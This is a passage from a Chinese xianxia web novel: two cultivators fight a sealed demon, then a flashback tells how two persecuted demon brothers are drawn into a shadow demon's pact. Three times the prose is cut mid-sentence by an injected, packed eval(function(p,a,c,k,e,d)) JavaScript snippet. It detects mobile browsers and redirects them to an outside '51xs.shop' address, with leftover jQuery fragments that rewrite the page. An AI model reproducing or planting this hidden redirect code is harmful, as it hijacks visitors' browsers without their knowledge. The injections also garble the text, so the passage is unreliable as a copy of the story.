“先稳住,起码目前为止你的想法是成立的,波谭的作用影响了那些针芒,到现在,我们都没有听到它们的动静。” “既然如此,那按道理来说,这些围堵我们的白袍人自然也会被黑雾和乱雨的双重作用给干预到行动。 毕竟结合之前和这群人切磋的经历就发现他们虽然隶属于幕后之人,也继承了幕后之人的意志,但与被剥夺视听和圄于封印的幕后之人却是不同性质的主体,不然这些白袍人也不能出苏府祠堂来对付我们。而且随着封印愈来愈虚弱,这些白袍人的数量和能力也变得越来越不可控制。 所以,这些白袍人完完全全可以被幕后之人当作发掘封印漏洞后展示出来的手脚。 而且这些人之所以能包围我们,也不过是因为在黑雾还没有完全出现的时候,就已经捕捉到了我们身处的地方罢了。 而今他们既看不到我们,也因为距离的原因听不到我们说话,更没有和我们一样能够独立思考的脑子。”萧喜加快语速冷静道。 朗月对此很是赞同:“你说的不错。不难发现,黑雾扩散之后,这些白袍人的手脚也被束缚了许多,到现在都没有直接和我们动手。” “很好,这怪物也没那么聪明嘛,这么会搬起石头砸自己的脚。”萧喜发出一声近乎听不见的轻蔑的笑。 “一起动手吧,只要把我们眼前的这一波干掉,就没有麻烦赶上来了。”萧喜松开了和朗月相握的那只手,她自信地撸了撸袖子,似是因自己刚破解难题而感到骄傲。 朗月二话不说抬手起式,一条条纤细的水流沿着他的手指蔓延到他的双臂,以迅雷不及掩耳之势将之内息灌入,水流湍急而无声,在浓浓黑雾里,似一条条埋伏于暗处的毒蟒吐着信子伺机而动。 萧喜临时掏出一沓黄纸,舔了舔指头,以挥毫潇洒之姿在一张张黄纸上写下潦草符文,符文闪动着微弱的光,符纸便得了魂魄。 一串串符咒团团包围起朗月身上的毒蟒,暗夜里,深雾中,雨水浇灌毒蟒,于乱雨之中包裹杀机,以无声的姿态朝四周泛滥,挥舞,一击致命。 白袍之人丢盔弃甲,哀嚎不断,皆成了黑夜的俘虏,最终统统化为一滩死寂的烂肉,被撕裂碾碎,遁入了雾气,然后散逸虚无。 萧喜与朗月的攻势宛如双剑合璧。 两人为了安全考虑,不可长时间内不接触,所以刚收拾完眼前的那一拨杂祟的下一秒,他们就重新拉回了手,其间默契十足,没有耽搁任何时间,像是具有某种心灵感应一样。 黑夜里,浓雾漆漆,雨水加剧,已有倾盆之势,波谭的鼓点沦入混沌,干扰心绪,和漫天的漆黑和未知一样,一点一点地浇注着幕后之人的奔狂。 接下来该如何应对眼前之局? 剑没有来得及拿到手,那双玉就不能拿出手,引魂针更是毫无用武之地。 难道,现在为了自保,就只能干等幕后之人自己出来么? 这绝无可能,自保可以保一时但终究不可保一世,万一幕后之人就愿意和他们这样耗下去,好等自己完完全全突破封印的限制呢? 时间像漏斗里的流沙,一点点流逝…… “这样不行,依我看,那东西好像看得出来我们的想法了,他这是在耗我们,我们不能干等下去。”萧喜不知不觉间,头上已经冒了一层油汗。 “所以得想个办法把他引出来,再借刀杀人。”朗月沉声道。 “你说这妖怪最在意什么?” “能对他构成威胁的东西。” “引魂针在这个时候拿出来,会不会太冒险了?” 朗月顿了顿,似乎也很犹豫:“……不管如何,先试试。” 他从怀里将荷包拿出,直接将灵力灌输到上面,从而将引魂针的气息最大化散开,这种方法比较保险,因为实物握在手里也是安心的,并且那妖怪感官尽失,波谭也会干扰黑雾对他们动作的察觉力。所以就算那怪物再怎么在意引魂针,反应也不会快于朗月和萧喜。 如此,他们便可先发制人,一旦捕捉到突兀的现象,就聚集灵力对此发动攻势。他们还不会受到明确的回击。毕竟对方的手段在夜雨之下会被充分限制,而黑雾则成了旁人借力的刀剑。 果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923945|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其然,朗月很快就发觉自己身后的风向有变,方才垂直下落的雨滴,在此时歪斜了很大的角度。 “萧喜,在身后一丈开外。”朗月提醒道。 “明白了。”她重复着方才的动作,和朗月珠璧联合。 身后的妖风被击溃,歪斜的雨滴刮回正轨。 两人都没有想到,自己的临时起意居然能有这样强的效果。 “再来。”萧喜继续抬手,舔纸,书写。 …… 风波席卷,乱雨齐飞。 数个回合下来,那妖怪也是急了眼。而他好似也忽然意识到自己被别人抓住了把柄,竟然有意撤去了黑雾。 眼看着黑雾逐渐稀薄,萧喜也觉得事情好似正在往脱离她所预想的轨迹行驶,她不安地问了朗月:“这东西……现在是在唱的哪出?” “黑雾淡了,我感觉到齐芒星阵的灵力正在飞速消散,那东西不想再耗下去了,他想正面反抗星阵……竟然不惜一切代价也要毁掉我们手里的引魂针。”朗月说着说着,喉结也紧了紧。 “正面反抗星阵……你是说,他要提前破除封印。我记得如果执意如此的话,他这是要受到很强的反噬的……” “我在之前就预估过他的实力,他哪怕受到如此强悍的反噬,力量也远高于我们之上。所以……我有个最坏的打算。” 雾气飞速弥散,如今两人之间似仅仅隔了一层软纱,透过其间,朗月双眸对向了萧喜清透的眼,其中包含了一种难以用言语说清的情绪。 萧喜直觉会有不好的事要发生,她缩了缩脖子,艰难地咽下一口苦水,说道:“你……又想做什么?” 说罢,朗月将一对儿冰清彻骨的玉赶紧塞到萧喜手里,回她:“引魂针留在我这里,他就会冲着我来,这样可以为你争取一些时间。你先握着双玉,等雾气散去赶快去找芍七,麻烦你给他灌输一些灵力,要不了多久他就能恢复,届时若有万一,他也可以保护你。等时机成熟之后,你便燃玉唤魂,求取魂针之术。” “可是……” “没有可是,来不及了。”朗月心急手快,在一波攻势来临之前,将萧喜推出了范围,按道理来说,这个方位指向的便是芍七昏阙的地方。 朗月这头防住了对手穷凶极恶的攻击,黑雾散去之后,他以为自己可以看到幕后之人的庐山真面目,却没有想到眼前最多只有一些残影,看来幕后之人是有意隐藏自己。对手动作太快,下手狠烈果断,在实力过于悬殊之下,朗月压根就无法看清对手面目,更别提预判对手的攻势了,局势如此险恶。 萧喜环顾四望,却只能看到苏府祠堂的残垣断壁。 芍七出事时祠堂已完全塌陷,她本以为芍七会被掩埋在其中,便试着在近处用术法去探寻他的气息,倏然发现此处竟没有一丝一毫的灵力波动。 芍七是剑灵,只要剑不粉身碎骨,那么灵力便绝不可能荡然无存。 萧喜顶着周遭环境的压力和乱雨鼓点对思绪的侵扰,终是想到了唯一的可能性——芍七已经不在此处……他竟是凭空消失了。 93. 魂兮归来(1) 怎么办,怎么办,怎么办…… 萧喜内心仓皇失措,她回望身后,朗月抵着暴雨与那团捉摸不透的黑影大战三百回合,龙吟不断,水色婆娑,朗月的每一次发力都以最透支体力的方式对外冲击,以此迂回时间,也神不知鬼不觉地将萧喜与威胁的距离拉开。 封印既破,无论怎么掩饰引魂针的气息都已经无济于事,朗月能做的只有阻挡,不断地阻挡,不可放弃。 萧喜狠狠咬了咬下唇,忍住内心流露出的本能里的哪怕一丝一毫的怯弱,最终将视线锁到了烂入泥沼的废墟之中。 她必须要把封印之剑找出来。 此时此刻,时间紧迫,若单单希冀依靠人力在偌大的废墟之间挖出东西,无异于掘地三尺,大海捞针,最终徒劳无功。 萧喜没有犹豫,直接将手咬破,浓稠的血液被暴雨稀释,如水流一样,湍急地没入她脚下的泥地。她俯身以血作咒,以水为引,以地画符,顷刻之间,混着泥土腥味儿的血水就得了生命,迸流向前,闪烁起耀眼的红光,在茫然的大雨里,似一团突兀的火焰,不羁地燃烧。 “泣之我血,画地为符,与我同心,尔于何处,还不现身?!”萧喜忍着血符吸食灵力时近乎要透支身体的疼痛,放声道。 红光听到召唤,照亮了院子里每一个角落,每一寸泥土,每一粒微尘,和每一滴落雨。 “萧喜你在做什么?!”朗月朝萧喜的方向喊道。 这是萧喜被红光吞噬后,听到的最后一句话。 声音渐渐远去,最终在耳畔散去,没有给萧喜留下任何回答的时间。 红光过于耀眼,竟让她的意识有些恍惚,好不容易镇住心神时,光芒已有微弱之势。她终于能把目光探出去,并惊讶地发现在她不远处的前方,一道剑身定定的立在那高处,看起来居然有几分熟悉……剑身被血光包裹着,叫人看不真切,仅仅可窥见几分轮廓,颇像朗月时常佩戴在身的黑柄剑,也就是芍七的真身。 可是尽管如此,萧喜依旧没有认为这柄剑与黑柄剑有什么其他更深的联系,因为这道剑身给她的感觉很不一样——相较于芍七,这柄剑有着截然不同的剑气,这剑气怨气极重,带着零零碎碎的破碎感,悲戚可悲…… 可是……这把剑也不像那柄封印之剑。那……她的血符为何带她寻到的是它? …… 忽地那柄立身虚空之中的剑颤起剑鸣,似在呼唤。 萧喜伸手过去,方才看起来遥不可及的剑影竟然被她轻而易举地握在了手中,剑身带有温度,丝毫没有似外表一样拒人于千里之外的逼人寒气,很令人意外,这柄明明可悲哀怨的剑,握在手心里却有着赤诚之心般的暖意。 她还没来得及看清手中剑的模样,四周顿时升起燎原烈火,将萧喜活生生的堵在中央,颇似烛窝地带,层层火焰将她当成了擦亮黑夜的烛芯。 烈火所及之处是片瓦不留,寸草不生。 萧喜忽然发现自己的重心开始不稳,地在晃动,她愕然看到四周扩散的火苗迅速绕动起来,像哪吒遗失于火海的风火轮,晃动得她眼睛生痛,神智恍然。 她感受着因视野受限而只可看到方寸的大地不断地震颤,带动她虚浮的脚步。 她真心觉得自己被掩藏在视野之外的巨大生物当成了一支晃动在油盏里头的蜡烛,他端着这只油盏疯狂地奔跑着,跨过百年岁月,朝着前方叫人喘不过气的风火时代不停狂奔。 太叫人窒息,萧喜攥着拳头抵住心口,一遍又一遍问自己是不是在做梦…… 她,萧喜,一举来到了两百多年前的时代,怀揣着手中之剑的信念——它希望萧喜可以帮它找到它的主人。 …… 两百多年前—— 那时候还没有沧淩城这个地名,因地处南方,并未与北上的京城有过多的来往,故而此地经济贫瘠,人烟稀少,开耕的地皮更是屈指可数。 这里叫作豫县,遍地村邑,草屋扎根。 基于此的又五百多年前,豫县人妖混杂,往往矛盾激增。 单以力量定胜负的话,凡人不敌妖,早先时候常被妖物欺压,无口申冤,难言苦难。 这儿的妖怪们虽然武力强悍,但心思简单,可以说是妖怪群里最底层的那一批。五百余年前,他们的老祖宗经常欺压村子里面的人,虽然表面上说起来比较难听,但说实话倒也没干出什么坑害人命的荒唐事。 那时地方上穷,连基本上的吃穿问题大家都得绞尽脑汁地去解决,人是如此,妖怪亦是如此。有时候气候不好,找不到吃食,妖怪们就会仗势欺人,抢村子里的粮,喝村子里的酒水,偷村子里的家畜家禽。 村子里的人只能忍饥挨饿,痛恨极了妖怪。 后来豫县这块偏僻之地终于被不少修真门派发现,那些身为凡躯,却参悟灵根的修真之人可比这些乡巴佬的妖怪强不知道多少倍。 他们短时间内便将妖怪老巢一锅端去,人成了长久的主宰者,维持了五百多年。 如今五百年已过,生活用度上的条件也比之前好了不少,人们安居乐业,待在修真门派的阴庇之下好生过着日子。妖怪们也渐渐死了那条心,自个儿安分了起来。 本以为两个种族就会这样一直安守本分,各自生活在自己的领地里,互不干扰。 但妖怪们终归低估了人心,他们不知道凡人这种东西竟然能这般记仇,尽管寿命极短,可在代代相传的历史轨迹中,事情本来面目在凡人的口中扭曲得是一次比一次强。 因为不知道从什么时候,从未故意坑害人命的妖怪就变成了人们耳熟能详的杀人不长眼的地狱修罗,凡人杀心渐起,影响了一代又一代的人们。 五百年的时光,足以濯清无数辈凡人的血脉,足以更换万事万物的面貌,足以更换老早几代修真门派的初心。 人妖共存? 可笑。 这世上,凡人怎么会容忍像妖物这般天生便可拥有无数人梦寐以求却求之不得的灵根? 如果强大的东西不能握在自己手中,那便是对自己最大的威胁,如若这般,不如毁掉好了,威胁也就可以消失了。只有这样,适者生存的游戏法则才会真正作用到人的身上,只有握住了生杀权才算是握住了真正的主权。 自那以后,豫县就不再是从前的模样了,妖成为了人们口诛笔伐的命中点,是梦魇,是他们做梦也想要抹杀干净的祸害。 天大地大,可妖物却不再有容身之地。 不少妖是死的死,被杀的杀,被抓走拿去炼修真门派学徒的法器也是常有的事情。 少五便是这乱世时代下的不幸者,因为他就是人们口中的罪大恶极的妖物中的一只。 在很小的时候,家里父母双全,家中七兄弟,和和睦睦,简简单单的生活着。 可天忽然变了,父母被修真门派抓走,听说被当成了门派弟子练剑的乱靶,早就被搅成了两滩腐肉。 家中七兄弟里,少一少二带着剩下的兄弟们四处避难,白日只能躲在阴嗖嗖、发着烂臭味儿的阴沟子里,晚上才可以活动,活成了老鼠模样。 后来,大哥二哥为了护住弟弟们,不幸落难,被人抛尸在了荒野。弟弟们去寻找的时候,大哥二哥身上被秃鹫叼走了好多块肉,残缺的部分留着暗黑色的血渍,里面爬满了白花花的蛆虫,叫人作呕。 少三从小病弱,但自从大哥二哥走后,他不得已撑起一家人的顶梁柱,逃难时落了风寒,还是走了。 有一次,剩下来的四个兄弟为了躲避追杀,不得已跑进人迹罕至的沙漠,里面黄沙障目,找不到水源,看不到希望。 后来,他们的踪迹还是被凡人发现了,他们回去告密,修真门派竟然设下幻局,于荒漠之中造了一只淬满了毒的湖泊,等着妖物自投罗网。 因为老幺年纪太小,才不过三四岁,仍需要照顾,而少五精力有限,无法再跋涉长途,就留在了弟弟身边帮忙照拂,所以去取水的任务理所应当地交给了少四和少六。 少四和少六实在是太渴了,找到那只毒湖时想都没想就直接饮下,最后中了水毒,爆体而亡,被茫茫风沙盖住了尸身,掖在沙土里等待被风干。 皮肉下一点点流逝的血水渗入了干涩的沙土里,将其染成了一片猩红色的湿土,勾起流沙,随着血水一同灌入了湖泊,湖泊里红稠一片,醒目无比。 从此,浩荡沙海多了一只血眼。 迟迟等不到水源的少五和少七奄奄一息,尚存着几分意志的少五不得已只好用嘴在手腕上撕咬下来一块肉,放出血水,供年幼的弟弟解渴。 饥渴难耐,失血过多,茫茫大漠之中烈阳灼人,迷了人眼,少五还是没能坚持下去,昏昏沉沉地倒在了荒漠之中。 意识混沌之间,有人闯入他的心境,向他伸出援助之手。 少五顿在原地,情绪激动,一瞬间,被欺压数载的悲惨回忆涌上心头,他无法睁着眼在现实的世界寻觅所谓的尊严,便只能躲在迷失的心境之中堕入崩溃。 少五盯着面前向他伸出手的黑影一动不动,眼看着这只黑影离他越来越近,他怒得疯狂甩开这只手,翻出一尺路,与黑影保持距离,少五按耐住心中熊熊燃烧的火气,质问他:“你是什么东西?怎么敢擅自闯入我的心境?!” “我是能救你的人。”黑影的嗓音混沌,似含着痰在讲话。 “什么?” 黑影冷笑了两声,挥动袍脚,一副画面从浓墨般的背景里浮出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938605|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面之中,一只猩红色的眼长在茫茫沙海里。 “你自己看看。”黑影人的话语里藏着不可言说的嘲意。 少五走近些,才发现那哪里是什么眼睛,而是被血染红的湖泊。 一阵风刮起,牵动沙帘,血泊湖畔,露出两只面孔,虽然已严重脱水,但少五还是一眼就将他们认了出来。 他嘴唇颤抖,拳头下意识地攥紧,眼神凶意渐起。 “四哥,六弟……” 黑影拂袖,画面散作流沙,转瞬不见踪影,心境重新回归死寂。 黑影抱胸而立,语气带着不羁的笑意,好似因刚看完一场好戏而感到了满足。 “那些修真门派机关算尽,早就发现了你们的踪迹,故意造了这只毒湖,好让你们自投罗网。你的四哥和六弟最终爆体而亡,不过幸好他们提前为你和你的七弟试了毒,否则,这漫天黄沙里躺着的可不只是这两具尸体了。” 少五忍着泪,冷冷地盯牢黑影,幽幽说道:“我怎知道你不是骗我的?” “哎哟,”黑影终归是没能憋牢,发声大笑起来。 半晌后,他才悠哉游哉地开腔说道:“你这是不愿信我?还是……不愿,不敢面对现实呢?” “还有,你都死到临头了,怎么还敢这么和我说话?”他的语气忽然降至骤冷,叫人听得头皮发麻。 说罢,那黑影人便要化作一团黑雾没入黑黢黢的虚无中去。 少五喊住了他:“你要什么条件才肯帮我们?” “算你识相,”黑影收住了脚步,再度化为人形。 “我要你接受我的功法,用血蠕杀了那些惹人厌恶的凡人,如此才能将他们的怨气最大化,然后用你自己的身体储存这些怨气给我……最后……” 那黑影发出怪异的咯咯声。 少五眉头紧缩:“最后还有什么?” “在此之前我还是先介绍一下我自己比较好。我乃上古影魔,终身效力于刹摩大人,万余年前大人殒命毗邻山,而我则被终生囚禁与古剑之中不得超生。 不久前天宫宝鼎松动,我耗尽几百年的气力才使得封印松动,而今完全破解封印已是指日可待,我特地分出一缕神魄寻找怨念深重之人,好顶替了我的位置,否则一旦齐芒星阵重新修复,我便会被立刻发现,继续回到封印之中。” “你竟然想我替代你,好叫你重获自由?” “聪明人,一说便懂了,”黑影低声呵笑,“我的神魄不能分出太久,寻了这么久才找到了你这只可怜虫,虽然你怨气多,但还完全达不到我的要求,若要混过阵法的捕捉,你的怨气远远不够。所以……呵呵,我还用心良苦地多等了你半个时辰呢。” 少五听出黑影人口中的寒意,一时愣住:“你……什么意思?什么……叫做用心良苦?” “等你那四哥和六弟死了,我看你的怨气会大些。” “你故意的?!”少五吼道。 只差那么一点点,四哥和六弟原也是不必去死的。 “不要激动,我这不还善心大发,给你留了个小弟弟么?”黑影人居然觉得这是理所当然的事情。 少五红着眼,听了此话,冷冷笑着,摇了摇头,颤道:“你不过是想留一个我的把柄给自己,好叫我听了你的话。” “呵,被你看出来了。” “不过,你身上的怨气还是不够……” 听这黑影又要再聒噪一遍,好强调了他的目的时,少七打断了他的话,冷道:“不必再说了,你的条件我都答应。你不就是希望我受了你的功法好叫我积累更多的怨气,从而以假乱真,替你被封印么?” “咯咯,你比我想象地还要果断。” “但我也有一个条件。” “但说无妨。” “我七弟还小,我想护他长大些再走。”说及此处之事,少五已有哽塞之态。 “不过十年罢了,我等得起。”黑影笑道。 言罢,黑影很快变成一团黑雾,升腾起邪念的苗头,猛地钻入了少七的身体里,将邪念彻彻底底种在了他的肉里,心里。 心境亮起,黑雾弥散。 少五重新回到了现实,发现自己已经不再身处于烈日炎炎下的荒漠深处,更不见修真门派们为他设下的重重危机。他的身边躺着少七,周身密林遍布,为他遮着日光,此时睡得正酣,完全不见饥渴之态。 少五摸了摸胸口,听见了蓬勃的心跳,也触碰到了更强大的灵根脉络。 他知道刚刚发生的那一切都不是梦。 他垂眸静静地看着年纪尚小的少七,默默地揩去眼角的泪,喃喃说道:“少七放心,五哥现在有了本事,我们不会再被人欺负了……” 94. 魂兮归来(2) 十年光阴似箭,也转瞬而逝,莫知莫觉之间,少七已从不谙世事的孩童长成了背脊挺立的少年。而少五,他已经能够顺利运动十年前那只黑影灌输给他的功法。 时机将要成熟,少五知道自己与黑影约定的日子就在眼下。 一日深夜,黑暗渊薮,星辰抖擞,月光若水银泻地,人间像被泛动光泽的白绸缎包裹。 少五偷偷爬起来收拾好东西,准备在今夜动手。 他动静很小,弟弟少七并没有被吵醒,少五敛住眸色,一声不坑地离开了这个家。 一夜之间,豫县无数的村邑都发了瘟疫,此瘟疫病症古怪,轻可祸人心智,致使其精神混乱,畏惧火光,叫人生不如死;重可令人脏器腐烂,似有血虫肆意游走于肉身,啃噬烂肉,直接爆体而亡。 此病症的扩散力十分强悍,凡有人迹之处,便可以人心为媒介,致使心中恶念横生,几乎无人可以躲避这场浩劫。 少七第二天是被吵醒过来的,因为豫县遭难,凡人蒙难,甚至那些在妖物眼中近乎神通广大的修真门派之人也因为毫无察觉而染上了血疾。长期遭受欺压的妖物一举造反,混迹县城之中,走向了报复之路,引起了轰然骚动。 豫县在短短时间之内便沦为了人间地狱,人生不如死,妖仇恨绕心,二者互相猜忌、混战。 后来有修真门派的长老发现了瘟疫之中藏匿着的妖气,恶意散播血疾的帽子就直接扣上了妖族的脑袋,所有人对妖物恨之入骨,恨不得将妖物剥皮啖肉。 多日过去了。 这段日子里,少七一个人行走在地狱之中,心神不定,寻找着失踪已久的哥哥,却至今还未有所发现。 自从瘟疫上的妖气被发现后,少七的内心就一直惴惴不安。因为,刚巧不巧,五哥走时的第一个晚上,豫县就忽然怪病四起,而其上又带着妖气……好不蹊跷。 难不成这些事情会与五哥有关? 少七并不确定所谓的妖气是不是那些修真门派为了聚集民愤而撒的谎,毕竟人心叵测,迂回百转,难以说清。 但如若妖气的言论是对的,那他也不妨去探一探。 想道此处,少七不禁掏出笔墨,在之上圈圈点点了起来,勉强将豫县的地方分布描了下来。他戳着笔尖,笔锋游走之间,他最终点到了一处地方—— 益阳村坊。 因为按照瘟疫发展的方向态势推断,下一个遭殃的地方除了益阳村坊外就别无他地了。 …… 天色擦黑时,荒野里,一只瘦削的身影拖着鬼怪般的步伐,形单影只地趟过茫茫天地,他狠狠捶打着自己的胸膛,试图让钻心的疼痛止息。最终这只身影还是没能熬得过去,直直倒地,晕厥了过去。 在少五的意识再度清醒时分,他再次来到了黑暗四布的心境之中,一只人影在里面悠哉地等待着少五的光临。 “真是好久不见。” 黑影还是老样子,声音嘶哑浑厚,喉咙里似乎永远储满了浓痰。 少五勉强地站起,可胸口的刺痛还是不断地侵蚀着他的耐力。他按着胸口,冷笑着,寒凉无比,说道:“从前你从未告诉过我这等事情一旦做了就会受到极大的反噬。” “呵呵,”黑影也咯咯笑了两声,满是讽意,“我当时可不能保证告诉你之后还能乖乖听我的话。” 少五别过眼去,颓然地摇了摇头,凉凉干笑。 “说吧,这次来我找还有什么事情要交代的?”少五将视线重新摆正,冷冷扫了黑影一眼。 “我已经等不及了,所以今晚你就得助我破除封印,替我进去。”黑影也沉下声音,诡异得不似人言。 “所以你要我现在就去给你杀几个村落的人是吗?一夜就要他们殒命,如此反噬之力可达数倍。你这是要了我的命……”少五说到最后,嗓子已经麻木,越来越干哑。 黑影闻言对着他哂笑道:“怕什么?我这不是来助你一臂之力了?” 说罢,还未等少五来得及反应,黑影就以迅雷不及掩耳之势散作千丝万缕的黑雾,一缕一缕地顺开之后直接朝他飞来,最后钻入了少五的躯体之中。 少五登时跪倒在地,胸口的疼痛貌似已经变得麻木。可他却感到自己的意志力正在一点一点地流逝,有东西在他的身体里横冲直撞,想要击溃少五的防线,主掌这具身体的控制权。 最终,那东西得逞了,少五失去了理智,变成了一具力量无穷的行尸走肉,忘却了从前的优柔寡断,堕落成了一只真正行走于灾祸之间的魔鬼,毫不留情。 他聚集灵气,将它们与自己体内那股霸道的力量融于一池。他掌握了黑雾之力,转瞬之间便散作了一团乌漆漆的雾籽,与黑夜深色的背景融为一体,随风而行,朝益阳村坊的方向飞速卷土而去。 …… 穿着单薄的少年在荒凉的地段行走了数日,终于在灾难来临之前看见了益阳村坊的轮廓。 黑夜之中,月光作伴,少七竟然并不觉得有那么孤单。不远处的村落里,有人挑灯看剑,有人秉灯夜烛,有人隔岸观灯火,好一片安康祥和的画面。 少七静静看着此幕,心中感慨,因为他知道这块人间乐土很快就会变成烧满烈火的地狱十八层,哀嚎遍野,瘟疫遍布。 但他却从未心生一分可怜之意,因为他知道自己和五哥这一路走来有多么拼命,知道其他五个哥哥为了生存下去有多么坚毅,知道爹娘被虐杀时的无助和哀痛……他没有理由,更没有资格站在自己的立场上施舍给这些残暴、无可救药的人。 思及此处,少七眸光沉落,眼里看不见少年人鲜活的光,唯有死海般的怨恨。他咬紧牙关,看着远处的灯火通明,嘴里恶狠狠地挤出两个字。 “活该。” 冷漠,寒凉,是深渊的诅咒,是深海死水的温度。 时间流逝了许久,村子里久久没有动静,少七以为失算,今夜不会再碰见自己苦苦寻找的五哥了。他沿着一路枯树走着,天地寒凉,他踩着细碎的月光,哀叹着气孤独地走进了村落。 益阳村坊虽不及少七曾今带过的几个村落大,也因为地段偏僻所以也不及别的地方模样俏俏。可这里的人情味却浓地厉害,烟火气息遍布着,少七一脚踏进村子的灯光里,身上的寒气便被无形地驱散了。 有个妇人见少七模样小,衣着单薄,脸庞看着也瘦削,心生怜悯。 她赶忙取来一只外衫招呼过来,喊住了少年:“孩子,你可是从落灾之地逃出来的?听说现在外头怪病闹得慌,你又走了这么远的路,想必是累坏了吧。” 少七警惕地看着妇人,一直都不开口。 那妇人见此更是心疼坏了,喃喃自语起来:“瞧这孩子,被吓成了这样,爹娘怕是也……哎。” 她边说边扯着衫子要往他身上披,饶是少七不肯,妇人也是不愿示弱的,好一番纠葛后,少七不仅乖乖的穿上了外衫,还被妇人推推搡搡地进了自家的院子里。 灯光融融,少七盯着自己被拉扯在地上了影子,心中沉默。 他想到了自己的五哥,还有五哥口中所说的曾经的族人们。若是他们都还在,这份温暖或许并非这样千金难求,乃至让他现在握着这份陌生的温暖时,他也要将其视若珍宝起来。 妇人招呼家里的小孩出来,帮她一起端出热烘烘的饭菜,热情地摆上桌子,叫少七垫垫肚子,不要累着,口吻满含温情。 后院里,饭菜香气,带着温湿气,竟然烘地少七的眼睛有些发酸,眼尾落红。 妇人摇了摇头:“哎,惨啊惨啊……” 少七顿了顿。 妇人有两只小囡,一个男孩,一个女孩。一桌子上,唯独少了孩子父亲的位置。 那小男孩已经开始夹菜,嘴里嘟嘟囔囔:“我还以为是爹回来了,结果没想到又是个不认识的人……” 妇人皱眉,拿起筷子往男孩头上敲了敲,骂他:“怎么讲话呢!” 扭头回来,妇人的面孔上又恢复了一片和颜悦色,笑着对少七说道:“我家夫君是做大夫的,不久前去远处的村坊给人治瘟疫去了,到现在还没回来。 我听说着瘟疫来头不简单,是什么妖怪害人的手段,我也担心了起来。再后来啊,我就遇到了不少从别的地方逃难出来的人,有老有少,我觉得他们可怜,又想到我夫君在外是凶多吉少。 所以每次我都会留他们吃一顿饭,压压惊,希望积点善德,老天若是长眼,也好保佑保佑我们这一家子。 哎……孩子你年纪不大吧,你是我目前见过最小的了,来这儿逃难肯定受了很多苦。若是不介意,吃完饭后便留在我家歇息一晚吧。虽然我也不知道你的爹娘如今怎么样了,但你也不要太难过,总会有办法的……” 妇人说罢,又是长于短叹了起来。 少七闻言只是垂着头,淡淡道:“我爹娘早就走了……” 如此平淡的文字落到妇人的耳朵里,却有着泼天的威力,她很难想象一个才十几岁的孩子得如何将残酷的现实用这般的口吻叙述出来。她一时间噤声,自觉说错了话。 小丫头打破了这场沉默,她伸手好不容易从一盘子菜里挑出一块肉来,夹到了少七的碗里,用细柔的嗓音说道:“哥哥不要伤心,吃块肉。” 少七怔住,他定神看向小丫头,甜甜的笑容带着说不清的力量,让他的心软下来。 “谢谢你。” …… 饭后不久,妇人正在收拾碗筷,手脚麻利着在院子里走来走去。 夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963651|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色渐深,云澹月明,少七自顾自地坐在院子里的一只台阶上,仰望着,看点点星辉伴月行,盼银河迢递,召见天地。 小男孩和小丫头在院子里嬉笑打闹着,没多久两小儿就累了,一点都不怕生,直接往少七这边凑过来。 小男孩天性活泼,他看少七老是望天,他也就跟着人家一道仰望起来。星空蛮美,小男孩一时呆愣,看着星空出奇,没讲话。 小丫头则更在意少七这个人,她拉了拉他的外衫,低声问他:“哥哥你怎么还是不开心?” 少七被唤回神,抿了抿嘴巴,终是吐出了几个字:“心里有些乱。” “那你可以和我说说呀,我最会安慰人了。” 少七看小丫头一本正经的模样,竟情不自禁地勾了勾嘴角。 他别过头去,盯着璀璨星河,说道:“你怕不怕妖怪?” 小丫头点了点头。 “那你为什么怕?” 小丫头也盯住星河,声音更弱了些:“我听别人都说,那些瘟疫都是妖怪弄出来的,很多人都死了。我爹爹是大夫,去给那些人治病,到现在都还没回来,我害怕又妖怪害我爹爹,我害怕我再也见不到他了,害怕……我娘,我爹,还有哥哥,还有隔壁刘叔刘婶,还有……都不在了,害怕再也见不到我爱的人,和爱我的人。” 少七攥紧了衣角,他何尝不能共情得了这段话?爹娘遭害,哥哥们相继离世,五哥为了在荒漠里护住自己不惜用血喂他…… “我在很小的时候,爹娘还有哥哥们都被害死了。” 一直没吭声的小男孩忽然说出话来,问道:“也是被妖怪害死的?” 少七悲哀地垂下眸子,低声冷笑:“不是,他们都被人害死了。” “哎……”小男孩长叹一声。 他自来熟似的拍了拍少七的肩,一脸正经地安慰起来,像个小大人:“我明白!我和你说,爹爹经常讲给我听他去外头给人治病的经历,他说啊,有很多村子里都是有恶霸的,那恶霸可比妖怪还要可恨,经常欺压好人,打伤了是小事,还有杀人的……手段辣得很,断头断手断脚那都是家常便饭,老人小孩妇孺们也不例外。遇到这种畜生不如的东西,那也只能说是倒霉透了,哎。” 